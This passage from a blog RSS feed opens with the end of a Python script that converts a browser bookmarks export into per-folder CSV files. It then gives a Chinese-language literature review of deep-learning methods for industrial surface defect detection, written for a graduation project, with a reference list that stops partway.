</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="k">def</span> <span class="nf">parse_folder</span><span class="p">(</span><span class="n">folders</span><span class="p">:</span> <span class="n">BeautifulSoup</span><span class="p">,</span> <span class="n">tags</span><span class="p">:</span> <span class="n">List</span><span class="p">[</span><span class="nb">str</span><span class="p">])</span> <span class="o">-&gt;</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">contents</span> <span class="o">=</span> <span class="n">folders</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s2">&#34;dl&#34;</span><span class="p">,</span> <span class="n">recursive</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span><span class="o">.</span><span class="n">find_all</span><span class="p">(</span><span class="s2">&#34;dt&#34;</span><span class="p">,</span> <span class="n">recursive</span><span class="o">=</span><span class="kc">False</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="k">for</span> <span class="n">content</span> <span class="ow">in</span> <span class="n">contents</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">        <span class="n">h3</span> <span class="o">=</span> <span class="n">content</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s2">&#34;h3&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="k">if</span> <span class="n">h3</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">            <span class="k">if</span> <span class="ow">not</span> <span class="n">tags</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">                <span class="n">link_list</span><span class="p">[</span><span class="n">h3</span><span class="o">.</span><span class="n">string</span><span class="p">]</span> <span class="o">=</span> <span class="nb">list</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">            <span class="n">parse_folder</span><span class="p">(</span><span class="n">content</span><span class="p">,</span> <span class="n">tags</span> <span class="o">+</span> <span class="p">[</span><span class="n">h3</span><span class="o">.</span><span class="n">string</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">            <span class="k">continue</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="n">a</span> <span class="o">=</span> <span class="n">content</span><span class="o">.</span><span class="n">find</span><span class="p">(</span><span class="s2">&#34;a&#34;</span><span class="p">,</span> <span class="n">recursive</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="c1"># 0. Name</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="n">link_name</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="n">string</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl">        <span class="c1"># 1. Link</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="n">link_href</span> <span class="o">=</span> <span class="n">a</span><span class="p">[</span><span class="s2">&#34;href&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">
</span></span><span class="line"><span class="ln">28</span><span class="cl">        <span class="c1"># 2. Created time</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">        <span class="n">time_local</span> <span class="o">=</span> <span class="n">time</span><span class="o">.</span><span class="n">localtime</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="s2">&#34;add_date&#34;</span><span class="p">]))</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="n">link_date</span> <span class="o">=</span> <span class="n">time</span><span class="o">.</span><span class="n">strftime</span><span class="p">(</span><span class="s2">&#34;%Y-%m-</span><span class="si">%d</span><span class="s2">T%H:%M:%S+08:00&#34;</span><span class="p">,</span> <span class="n">time_local</span><span class="p">)</span>  <span class="c1"># ISO-8601</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">
</span></span><span class="line"><span class="ln">32</span><span class="cl">        <span class="c1"># # 3. Cover picture</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">        <span class="c1"># try:</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="c1">#     link_cover = a[&#34;icon&#34;]</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="c1"># except KeyError:</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">        <span class="c1">#     link_cover = &#34;&#34;</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">
</span></span><span class="line"><span class="ln">38</span><span class="cl">        <span class="n">link</span> <span class="o">=</span> <span class="p">[</span><span class="n">link_name</span><span class="p">,</span> <span class="n">link_href</span><span class="p">,</span> <span class="s2">&#34;,&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">tags</span><span class="p">),</span> <span class="n">link_date</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">        <span class="n">link_list</span><span class="p">[</span><span class="n">tags</span><span class="p">[</span><span class="mi">0</span><span class="p">]]</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">link</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="n">parse_folder</span><span class="p">(</span><span class="n">soup</span><span class="o">.</span><span class="n">body</span><span class="p">,</span> <span class="p">[])</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">
</span></span><span class="line"><span class="ln">43</span><span class="cl"><span class="n">keys</span> <span class="o">=</span> <span class="n">link_list</span><span class="o">.</span><span class="n">keys</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl"><span class="k">for</span> <span class="n">key</span> <span class="ow">in</span> <span class="n">keys</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;./Bookmarks/</span><span class="si">{</span><span class="n">key</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">)</span><span class="si">}</span><span class="s2">.csv&#34;</span><span class="p">,</span> <span class="s2">&#34;w&#34;</span><span class="p">,</span> <span class="n">newline</span><span class="o">=</span><span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="n">encoding</span><span class="o">=</span><span class="s2">&#34;utf-8&#34;</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">        <span class="n">writer</span> <span class="o">=</span> <span class="n">csv</span><span class="o">.</span><span class="n">writer</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">        <span class="n">writer</span><span class="o">.</span><span class="n">writerow</span><span class="p">([</span><span class="s2">&#34;Name&#34;</span><span class="p">,</span> <span class="s2">&#34;Link&#34;</span><span class="p">,</span> <span class="s2">&#34;Tags&#34;</span><span class="p">,</span> <span class="s2">&#34;Created Time&#34;</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">        <span class="n">writer</span><span class="o">.</span><span class="n">writerows</span><span class="p">(</span><span class="n">link_list</span><span class="p">[</span><span class="n">key</span><span class="p">][::</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span></span></span></code></pre></div>]]></content:encoded>
    </item>
    <item>
      <title>缺陷检测文献综述</title>
      <link>https://sttev.com/posts/33-graduation-proj-review/</link>
      <pubDate>Thu, 27 Feb 2020 19:30:00 +0800</pubDate><author>steve@sttev.com (SteveHawk)</author>
      <guid>https://sttev.com/posts/33-graduation-proj-review/</guid>
      <description>&lt;h2 id=&#34;一-引言&#34;&gt;一. 引言&lt;/h2&gt;&#xA;&lt;h3 id=&#34;11-简介&#34;&gt;1.1 简介&lt;/h3&gt;&#xA;&lt;p&gt;在工业生产中，产出产品的质量控制是非常重要的一环，直接影响了最终产品的质量和声誉。质量控制中的一个重点，在于检测产品的表面是否存在缺陷，是否能够符合最终标准。不同的产品中，我们能见到非常多种类的缺陷，例如变形、压伤、划伤、凸包、污渍，等等。&lt;/p&gt;</description>
      <content:encoded><![CDATA[<h2 id="一-引言">一. 引言</h2>
<h3 id="11-简介">1.1 简介</h3>
<p>在工业生产中，产出产品的质量控制是非常重要的一环，直接影响了最终产品的质量和声誉。质量控制中的一个重点，在于检测产品的表面是否存在缺陷，是否能够符合最终标准。不同的产品中，我们能见到非常多种类的缺陷，例如变形、压伤、划伤、凸包、污渍，等等。</p>
<p>传统的工业生产采用的缺陷检测方法通常为人工检查，由生产线上的工人对产品逐个或抽样用肉眼和仪器查看。这一方法消耗大量人工并且效率低下，更重要的是人眼判断往往过于主观，难以统一客观标准。在一些产量巨大的现代自动化生产流水线上，人工检查显然是一个完全不可行的方法。随着计算机硬件和计算机视觉技术的发展，使用计算机视觉进行产品缺陷检测成为了一个低成本且高可靠性的方法。</p>
<h3 id="12-任务定义">1.2 任务定义</h3>
<p>基于计算机视觉的缺陷检测指的是使用产品在某些电磁波波段的成像，通过计算机算法，来判断是否存在缺陷。在图像采集阶段，根据成像所使用的波段，可以大体分为可见光成像、红外成像、X光成像、毫米波成像等。具体方法需要根据产品特性和实际需求来选择，但是由于大部分的产品特性和成本关系，缺陷检测中最常见的是可见光成像，也就是普通的摄像头。本文将仅围绕可见光成像的缺陷探测方法展开，其他波段的检测方法可能略有不同。</p>
<p>在检测阶段，使用的检测算法主要分为两大类：传统算法以及机器学习算法。检测的目标首先是判断目标产品是否存在缺陷，根据需求可以进一步拓展为缺陷的类型判断，以及获取缺陷的具体位置。本文将就此话题展开，讨论缺陷检测的难点，接着介绍及分析一系列解决方案。</p>
<h2 id="二-缺陷检测难点">二. 缺陷检测难点</h2>
<h3 id="21-缺少数据">2.1 缺少数据</h3>
<p>缺少数据，准确的来说是缺少缺陷样本，是训练缺陷检测模型会遇到的一大难题。对于绝大部分的生产线，拥有缺陷的次品样本仅占所有产品的极少一部分，这使得训练数据的类别极端不均衡。就算样本总量达到较大的数值，缺陷样本仍然只有寥寥无几，在普通的监督学习中非常容易导致模型的训练过程难以拟合，模型的泛化能力也很难达到理想水平。这将直接使得最终模型的检测结果准确率低下。</p>
<h3 id="22-标注困难">2.2 标注困难</h3>
<p>数据标注在绝大部分监督学习训练中都是一个难题。首先是高昂的人工成本，这使得数据集的标注成本随着数据集的大小飞速上涨。当数据集大小达到令人满意时，标注成本可能已经不可承受了。另外，在缺陷检测问题中，由于绝大部分缺陷都非常细微，这个特性导致人工标注的难度相较普通的图像分类和目标探测进一步提高，而最终人工标注结果的准确率也未必能达到理想水平。这进一步导致了缺陷样本的短缺，并且不够准确的标注数据也将进一步导致模型结果不尽人意。</p>
<h3 id="23-缺陷特征识别困难">2.3 缺陷特征识别困难</h3>
<p>上一段中提到了缺陷通常较为细微这一特性。不只是对于人眼，这对机器视觉同样是一个挑战。使用传统算法检测时，人工指定的图像特征往往难以提取到这些细微的区别，并且非常容易受到拍摄条件例如光线、角度、白平衡等的影响，算法的健壮性难以保证。使用机器学习算法检测时，模型也会面临更大的挑战，尤其是一些已知对于小目标探测准确率较差的模型，在这个问题上将难以获得令人满意的结果。</p>
<h2 id="三-缺陷检测方法">三. 缺陷检测方法</h2>
<h3 id="31-应对数据缺少">3.1 应对数据缺少</h3>
<h4 id="311-数据增强">3.1.1 数据增强</h4>
<p>Xu X. 等人 [1] 提出了一种基于小样本驱动的卷积神经网络（Small Data-Driven Convolution Neural Networks, SDD-CNN）检测方法，在常规的数据处理和训练阶段之间加入了数据增强的操作。首先，对样本使用标签扩充（Label Dilation, LD）方法，把数量较少的类别随机扩充到和数量最多的类别相同的大小。这样一来，样本类别不均衡的问题就解决了，并且数据集的随机性能够继续保证。</p>
<p>在标签扩充后，他们继续对数据使用半监督的数据增强（Semi-Supervised Data Augmentation, SSAD）算法。在一般的数据增强场景下，随机切割、缩放、旋转、翻转、增加噪音等方法都非常常见。然而缺陷检测的场景下，缺陷往往只占样本图像的极小一部分，对缺陷样本随机切割后有较大概率会得到一个无缺陷的图像，从而产生标签的不一致。SSAD 方法使用第一步标签扩充后的数据单独训练了一个 GoogLeNet 分类模型，然后通过遮挡实验来生成所有样本在模型最上层卷积层中的特征响应热度图（characteristic response intensity map）。在响应强度较大的范围内（即缺陷所在位置）随机挑选三个点作为随机切割的中心，实施随机切割。这样一来，SSAD 就可以保证随机切割出的图片和原样本是同样的标签，并且能够有效的提升数据集的丰富程度。</p>
<h4 id="312-无监督学习">3.1.2 无监督学习</h4>
<p>无监督学习指的是不需要训练，或者是不需要对训练集进行标签标注的方法。难以标注的缺陷数据显然非常适合这一类方法。</p>
<p>Mei S. 等人 [2]  [3] 提出了基于多尺度卷积降噪自编码器（Multiscale Convolutional Denoising Autoencoder, MSCDAE）的检测方法。在训练阶段，将没有缺陷的图片使用高斯模糊生成高斯金字塔，然后对高斯金字塔的每一层分别训练一个卷积降噪自编码器（Convolutional Denoising Autoencoder, CDAE）对图片进行压缩重构。训练完成后，将有缺陷的图片同样送入高斯金字塔，然后每一层均使用对应训练好的自编码器进行重建，生成没有缺陷的图片。对比每一层的图片差异并结合这些结果，就可以获得最终的缺陷分隔图。</p>
<p>Zhao Z. 等人 [4] 则在自编码器的基础上引入了生成式对抗网络（Generative Adversarial Networks, GAN），提出了一种基于正样本的缺陷检测方法。这种方法把生成式对抗网络的生成器替换成了一个自编码器，自编码器类似上一段同样对输入的图像做压缩重建。重建后的图像不仅需要最小化和原图的差距，同时还需要骗过判别器，尽可能和原数据集的数据分布相似。训练完成后，输入的缺陷图像将会被重建为没有缺陷的样子，这时再结合局部二值模式（Local Binary Patterns, LBP）算法求两者的差别，即可获得缺陷的位置。</p>
<p>Hu G. 等人 [5] 使用了深度卷积生成式对抗网络（Deep Convolutional Generative Adversarial Networks, DCGAN），同样提出了仅基于正样本的无监督检测算法。这个算法在正常的生成式对抗网络的生成器和判别器基础上引入了额外的两个网络，逆变器 E 和浅训练的判别器 D。在训练完成后，缺陷图像会输入浅训练的 D 模型，生成一个缺陷的概率图；同时缺陷图像会输入 E 映射为一个随机向量，然后输入生成器生成重建图像，缺陷图像与重建图像相减可得一张残差图。结合两条路径的概率图和残差图，就可以最终获得缺陷的位置图。</p>
<p>上述三个方法都仅需要使用无缺陷的图像进行训练，无须标注。并且无缺陷图像往往非常容易获得且数量众多，因此这些应用了无监督学习的方法能够轻易解决缺少数据和标注困难的问题。</p>
<h4 id="313-半监督学习">3.1.3 半监督学习</h4>
<p>半监督学习会在训练中结合少量带标签的数据和大量不带标签的数据。这同样能够解决标注困难的问题。</p>
<p>Di H. 等人 [6] 为缺陷分类提出了一种基于卷积自编码器（Convolutional Autoencoder, CAE）和半监督生成式对抗网络（semi-supervised Generative Adversarial Networks, SGAN）的方法。其中半监督生成式对抗网络的部分借鉴了 Odena A. [7] 的方法，在判别器中引入了额外的分类任务。输入网络训练的图像共有 N 个类别，生成式对抗网络的判别器将会输出 N+1 类的结果，包含对这 N 个类别的分类和一个真假的判断，而非正常情况下的一类（真/假）。引入这样的半监督方案有效利用了大批数据中的少量标注信息来完成目标。</p>
<p>Gao Y. 等人 [8] 同样研究了缺陷分类问题，提出了伪标签卷积神经网络（Pseudo-Label Convolutional Neural Network, PLCNN）方法。这种方法使用的数据集并不是完全标注，只有部分样本有对应标签。训练时，未标注的数据会通过最大识别概率打上伪标签参与训练，伪标签数据的损失值会以一定比重参与整体的损失。随着训练进行，该权重会逐渐提升。最终结果表明，这一方法可以有效利用没有标签的数据来进行训练，从而很好的解决了标注困难的问题。</p>
<p>Akcay S. 等人 [9] 则为 X 光安检仪图像的异常探测提出了 GANomaly 方法。该方法结合了对抗自编码器（Adversarial Auto-Encoders, AAE）和生成式对抗网络，把自编码器作为生成式对抗网络的生成器部分，另外再引入一个判别器，共三个子网络。训练阶段，自编码器使用了编码器-解码器-编码器的组合方式进行对抗训练，并且额外再使用生成式对抗网络的判别器来计算重建误差。训练完成后在测试阶段，由于训练集中并不包含异常图像，拥有异常的图像在输入自编码器后将会无法正确重建。比较原图和重建图的编码，若超过一定阈值则判定为异常图像。该方法原本用于 X 光图像的异常探测，但有很大的希望能够在可见光的缺陷检测中也获得较好结果。训练过程仅需要使用无异常的正样本图像，因此解决了负样本缺少的问题。</p>
<h4 id="314-主动学习">3.1.4 主动学习</h4>
<p>Feng C. 等人 [10] 在 ResNet 的基础上使用了主动学习（Active Learning, AL）的方法来进行缺陷探测和分类。主动学习系统在训练初期只会在一个较小的数据集中训练，随后再加入更多未经标注的数据。系统并不需要所有数据都拥有标签，而是会在训练中主动发现一部分高标注价值的样本，发给专家进行标注，然后继续训练。在这个方法中，有两类的样本被认为是高价值样本：一是分类结果的概率接近 0.5，即神经网络高度不确定的样本；二是按照认定为缺陷的可能性对所有样本进行排序，排名靠前的样本，即神经网络最认为是缺陷的样本。该方法类似于半监督学习，不需要对所有的数据进行标注，解决了标注困难的问题。</p>
<h3 id="32-应对特征细微">3.2 应对特征细微</h3>
<h4 id="321-目标识别">3.2.1 目标识别</h4>
<p>Ma L. 等人 [11] 以及 Wang T. 等人 [12] 分别在不同的缺陷探测问题中运用了滑窗 CNN 的目标识别方法。在一张较大的图像上，一个较小的滑窗（例如 128*128 大小）以一定间隔滑动取样，将小样本输入训练好的 CNN 进行分类。将预测标签为缺陷的区域组合，即可得到缺陷所在的位置。这一方法较为简单，容易训练也容易部署，然而缺点在于获得的缺陷位置较为粗略，无法获得更精确的、乃至像素级别的位置判定。</p>
<p>Cha YJ. 等人 [13] 则在缺陷探测问题上使用了 Faster-RCNN 模型。相较于上一段的滑窗 CNN 方法，Faster-RCNN 会在第一阶段通过 RPN（Region Proposal Network）来提出候选的目标区域，然后再将目标区域送入骨干网络进行分类。由于 RPN 可以快速的筛选出不同大小的兴趣区域，Faster-RCNN 比滑窗的方法拥有更好的性能，而且能更准确的判定缺陷所在的位置。</p>
<p>Li J. 等人 [14] 使用了 YOLO（You Only Look Once）来进行缺陷探测。他们对原本的 YOLO 进行了魔改，把原本末端的全连接层替换成了卷积层来输出最终预测结果。YOLO 顾名思义是一个单阶段的目标探测模型，图像在输入网络后将一次性完成提出兴趣区域和分类。比起前两段的两阶段探测方法，这显然会更快，再加上原本的全连接层被替换为相较更轻量的卷积层，全卷积的 YOLO 在性能上将会非常优秀。</p>
<p>Chen J. 等人 [15] 更进一步，组合了多个网络进行多阶段的缺陷检测。他们提出的方法共有三个阶段：首先通过一个修改了卷积层尺寸的 SSD（Single Shot Detector）网络进行待检测工件的定位，得到位置后切割出该工件的子图；第二阶段使用 YOLO 网络对工件上的螺丝进行定位，分别切割出对应的子图；第三阶段使用一个轻量级的 GoogLeNet 对这些螺丝的子图进行分类，判断是否为缺陷。通过这样的多个网络级联，有效提升了对较小目标的检测准确率。</p>
<h4 id="322-图像分割">3.2.2 图像分割</h4>
<p>Huang Y. 等人 [16] 使用了图像分割的方法来解决缺陷探测的问题。在经典的端到端语义分割网络 U-Net 的基础上，他们加入了额外的 MCue 和 Push 两个改动，提出了 MCuePushU 模型。MCue 是在特定问题上根据经验提出的传统算法，使用 MCue 可以生成粗略的缺陷高亮图。将原图和 MCue 的输出共同输入 U-Net，为模型分割提供了额外的先验知识。在 U-Net 中间生成的特征向量也被额外送入一个简单的全连接网络 Push，用于绘制缺陷区域的边框。结合 U-Net 和 Push 的输出，即可得到带有边框的像素级缺陷分割图。这一方法能够做到像素级的探测缺陷，并且由于 U-Net 全卷积的特性，该方法拥有相当好的性能。</p>
<p>Qiu L. 等人 [17] 同样使用了图像分割。他们使用了另一个语义分割网络 FCN（Fully Convolutional Networks）用于分割和探测。这个方法单独训练了两个 FCN 分别用于两阶段的检测：第一阶段的 FCN 类似于传统的形态，图像输入后生成一张对应的分割图；第二阶段的 FCN 去掉了升采样的部分，将特征向量直接进行评分，第一阶段获得的疑似缺陷的兴趣区域将会被切割后送入第二阶段的 FCN 进行打分，以过滤错误分割的部分。最后对分割图基于原图做导向图滤波（Guided Filter），获得最终结果。这一方法同样拥有全卷积图像分割的优点，并且多阶段的检测使其能够很好的降低结果的假阳性，有效提升准确性。</p>
<h4 id="323-自编码器">3.2.3 自编码器</h4>
<p>缺陷探测中，产品表面的外观往往都是有一定规律性的。由于自编码器能够压缩并提取图像特征的特性，这一方法在缺陷检测中非常常用。</p>
<p>Tao X. 等人 [18] 在缺陷探测任务中使用了级联自编码器（Cascade Autoencoder, CASAE）的方法。这个方法顺序连接了两个同样结构的自编码器：原始图像输入第一个自编码器后，输出同样分辨率的缺陷概率图；这个概率图紧接着输入第二个自编码进一步微调。相较于普通的自编码器，编码器部分的最后增加了 1*1 卷积和 Softmax 层以输出概率图。通过级联两个自编码器，CASAE 实现了类似于上一节图像分割的效果。</p>
<p>Mei S. 等人 [2]  [3] 提出的 MSCDAE 方法在 3.1.2 节已有粗略介绍。在三层高斯金字塔中分别训练三个卷积降噪自编码器，各自比较原始图和生成的重建图得到缺陷的残差图。结合三层的残差图即可得到最终的缺陷分割结果。他们引入了降噪自编码器，即在训练阶段对输入图像人为添加噪声，有效的提升了算法的健壮性，使得自编码器更好的捕获图像特征，提高准确性。</p>
<p>自编码器与生成式对抗网络结合也是一个热门的方法。</p>
<p>Zhao Z. 等人 [4] 提出的方法已在 3.1.2 有过介绍。这个方法把自编码器直接作为了生成式对抗网络的生成器，利用判别器与之博弈，进一步提升自编码器重建的效果。</p>
<p>Di H. 等人 [6] 的方法同样于 3.1.2 节进行了介绍。不同于 Zhao Z. 等人 [4]，他们提出的方法把自编码器的编码器作为了生成式对抗网络的判别器。训练的第一阶段会先完成对自编码器的训练，保留编码器作为特征提取网络。在编码器的输出层之后再加入一个 Softmax 层，就形成了第二阶段生成式对抗网络的判别器。利用编码器能够有效提取图像特征的特性，对判别器进行预训练，有效提升了最终的分类准确性。</p>
<p>Akcay S. 等人 [9] 提出的 GANomaly 模型则在 3.1.3 节有过了介绍。他们为自编码器使用了特殊的对抗训练方法，通过编码器-解码器-编码器的组合，为损失函数额外加入了编码器输出特征向量的 L2 距离。这样的对抗训练对自编码器加上了更多的约束，进一步提高精确度。除此之外，他们也引入了生成式对抗网络。类似于 Zhao Z. 等人 [4] 的方法，编码器-解码器组合的自编码器整体被视为了生成式对抗网络的生成器部分，通过判别器的拮抗来进一步提高准确率。在测试阶段，他们使用的检测方法并不是比较原图和重建图，而是比较了原图和重建图各自编码的 L1 距离（类似于本段开头提到的额外损失），超过一定阈值判定为异常图像。这一方法有效利用了编码器特性过滤噪声，提升了算法的稳健性。</p>
<h4 id="324-多尺度特征">3.2.4 多尺度特征</h4>
<p>由于缺陷通常都非常微小，而待检测的图像往往有较大或有较多的像素，在大尺度的输入中探测小尺度细节对目标探测和语义分割算法是一个重大的挑战。合理利用多尺度特征是解决这个问题的一个明确的方向。</p>
<p>Chen J. 等人 [15] 的方法在 3.2.1 节中已有所介绍。他们级联了三个网络：SSD，YOLO 和简化版的 GoogLeNet，先检测较大的支架，然后检测支架上的紧固件，最后再对紧固件进行缺陷检测。使用如此由粗到细的多尺度模型结构进行探测，有效解决了缺陷尺度过小的问题，获得了不错的准确度。</p>
<p>上一节 3.2.3 的开头提到了 Tao X. 等人 [18] 使用的 CASAE 方法。在自编码器结构中，为了增加网络对于多尺度信息的感知，他们添加了跳跃连接，把多尺度的特征从编码器直接传到对应深度的解码器中，有效结合了多尺度的特征。除此以外，他们还在编码器部分的卷积层中使用了空洞卷积，相较传统卷积有效提升了网络的感受野，从而进一步提升了效果。</p>
<p>Mei S. 等人 [2]  [3] 提出的 MSCDAE 方法（已于 3.1.2 和 3.2.3 节中介绍）则更是非常明确的运用了高斯金字塔来获得多尺度特征。三个自编码器分别在高斯金字塔的三层进行训练，在三个不同尺度上分别对缺陷进行捕获。结合三个尺度做检测，很好的解决了缺陷过于细微的问题。</p>
<h4 id="325-生成式对抗网络">3.2.5 生成式对抗网络</h4>
<p>由于生成式对抗网络能够自行学习数据分布进行模仿的特性，使用它进行无监督/半监督学习是一个相当热门的方向。由于这个原因，本节将介绍的四种方法均已于 3.1.2 和 3.1.3 节中提到过了。同时，自编码器能够无监督的进行图像信息压缩提取的特性也与生成式对抗网络能够很好的组合，因此本节四种方法中的三种均于 3.2.3 节提到过，没有涉及的 [5] 虽然没有明确使用自编码器，但是仍然有类似的思想呈现。</p>
<p>Zhao Z. 等人 [4] （3.1.2，3.2.3）把生成式对抗网络的生成器直接替换为了一个自编码器。生成器和判别器博弈的原本目的是为了让生成器生成足够真实、足够符合原始数据分布的数据，这里作用于自编码器的解码器输出，为自编码器提供了另一层约束，使其能够重建出更加准确的图像。</p>
<p>Di H. 等人 [6] （3.1.3，3.2.3）把事先训练好的自编码器的编码器部分用作了生成式对抗网络的判别器。生成式对抗网络一向被诟病的一个问题在于难以训练，交替训练两个网络使其博弈的特点使得整个训练过程对超参数相当敏感，一不小心就没法收敛。使用自编码器对判别器进行预训练无疑极大的缓解了这一问题。不仅如此，在进入生成式对抗网络的训练阶段后，原先自编码器依旧会接受梯度下降的参数更新以保证自编码器的功能。于是自编码器的重建过程进一步成为了训练生成式对抗网络过程中的一个正则项，进一步提升训练效果。</p>
<p>Akcay S. 等人 [9] （3.1.3，3.2.3）提出的 GANomaly 方法中，生成式对抗网络的作用则类似于 [4]，为自编码器的训练提供进一步的约束。在训练过程中，他们为判别器判断的重建图误差使用了一种非常规的计算方式：正常情况下，使用判别器比较原图和重建图的误差将直接使用判别器输出结果（一个 0-1 的数值）的差距。然而在 GANomaly 方法中，这一误差的计算采用了判别器的中间层表示：把原图和重建图在判别器中的中间层表示提取出来，求这两个特征表示层的 L2 距离，即得到两张图的误差。这样的计算能够更精确的比较两张图的隐藏细节差距，进一步提升模型的精度。</p>
<p>Hu G. 等人 [5] （3.1.2）则创新性的在生成器和判别器之外引入了逆变器 E 和浅训练的判别器 D。训练阶段，首先训练生成器和判别器两个网络，使得生成器能够学习到无缺陷样本图像的数据分布。作者为此引入了浅训练和完全训练两个阶段：浅训练阶段使用了较小的学习率，且在生成器生成的图像上加入额外的噪声，当判别器训练到一定阈值即停止。浅训练得到的判别器 D 就可以作为一个缺陷检测器了。浅训练完成后，将会继续按照正常的训练流程对生成器和判别器进行完全训练。在得到生成器、判别器和浅训练判别器 D 后，将会额外训练一个逆变器模型 E，将无缺陷样本重新映射回输入生成器的隐空间。测试阶段，缺陷图输入浅训练 D 的输出是一个缺陷的概率图；缺陷图通过逆变器 E 再输入生成器后可生成无缺陷的重建图，两者相减得到缺陷的残差图。结合这两个结果即可得到最终结果。其中，逆变器 E 和生成器的关系非常类似于自编码器，只不过训练顺序和思路和传统自编码器正好相反。如此引入额外的两个子模型为最终的检测结果提供了更多的约束，使结果更加精确。</p>
<h2 id="四-小结">四. 小结</h2>
<p>产品缺陷检测在工业生产的质量控制环节一直有着相当的重要性，因此各行各业都在努力寻求更精准且更省力的解决方案。计算机技术的飞速发展为自动化的缺陷检测提供了良好的基础，计算机视觉等算法的研究则为更精确的检测铺平了道路。</p>
<p>本文结合近几年的计算机视觉研究文献，总结了多种应对缺陷检测难点的算法和技巧。我之后将结合无监督学习、卷积降噪自编码器、生成式对抗网络等方法，开展毕设项目的设计，完成一个特定场景下的缺陷检测系统。具体设计细节将在毕设论文中进一步展开。</p>
<h2 id="参考文献">参考文献</h2>
<p>[1] Xu X, Zheng H, Guo Z, et al. SDD-CNN: Small Data-Driven Convolution Neural Networks for Subtle Roller Defect Inspection[J]. Applied Sciences, MDPI AG, 2019, 9(7): 1364.</p>
<p>[2] Mei S, Yang H, Yin Z. An unsupervised-learning-based approach for automated defect inspection on textured surfaces[J]. IEEE Transactions on Instrumentation and Measurement, 2018, 67(6): 1266-1277.</p>
<p>[3] Mei S, Wang Y, Wen G. Automatic fabric defect detection with a multi-scale convolutional denoising autoencoder network model[J]. Sensors, 2018, 18(4): 1064.</p>
<p>[4] Zhao Z, Li B, Dong R, et al. A Surface Defect Detection Method Based on Positive Samples[C]//Pacific Rim International Conference on Artificial Intelligence. Springer, Cham, 2018: 473-481.</p>
<p>[5] Hu G, Huang J, Wang Q, et al. Unsupervised fabric defect detection based on a deep convolutional generative adversarial network[J]. Textile Research Journal, 2019: 0040517519862880.</p>
<p>[6] Di H, Ke X, Peng Z, et al. Surface defect classification of steels with a new semi-supervised learning method[J]. Optics and Lasers in Engineering, 2019, 117: 40–48.</p>
<p>[7] Odena A. Semi-supervised learning with generative adversarial networks[J]. arXiv preprint arXiv:1606.01583, 2016.</p>
<p>[8] Gao Y, Gao L, Li X, et al. A semi-supervised convolutional neural network-based method for steel surface defect recognition[J]. Robotics and Computer-Integrated Manufacturing, 2020, 61: 101825.</p>
<p>[9] Akcay S, Atapour-Abarghouei A, Breckon T P. Ganomaly: Semi-supervised anomaly detection via adversarial training[C]//Asian Conference on Computer Vision. Springer, Cham, 2018: 622-637.</p>
<p>[10] Feng C, Liu M Y, Kao C C, et al. Deep active learning for civil infrastructure defect detection and classification[M]//Computing in civil engineering 2017. 2017: 298-306.</p>
<p>[11] Ma L, Lu Y, Nan X F, et al. Defect Detection of Mobile Phone Surface Based on Convolution Neural Network[J]. DEStech Transactions on Computer Science and Engineering, 2017 (icmsie).</p>
<p>[12] Wang T, Chen Y, Qiao M, et al. A fast and robust convolutional neural network-based defect detection model in product quality control[J]. The International Journal of Advanced Manufacturing Technology, 2018, 94(9-12): 3465-3471.</p>
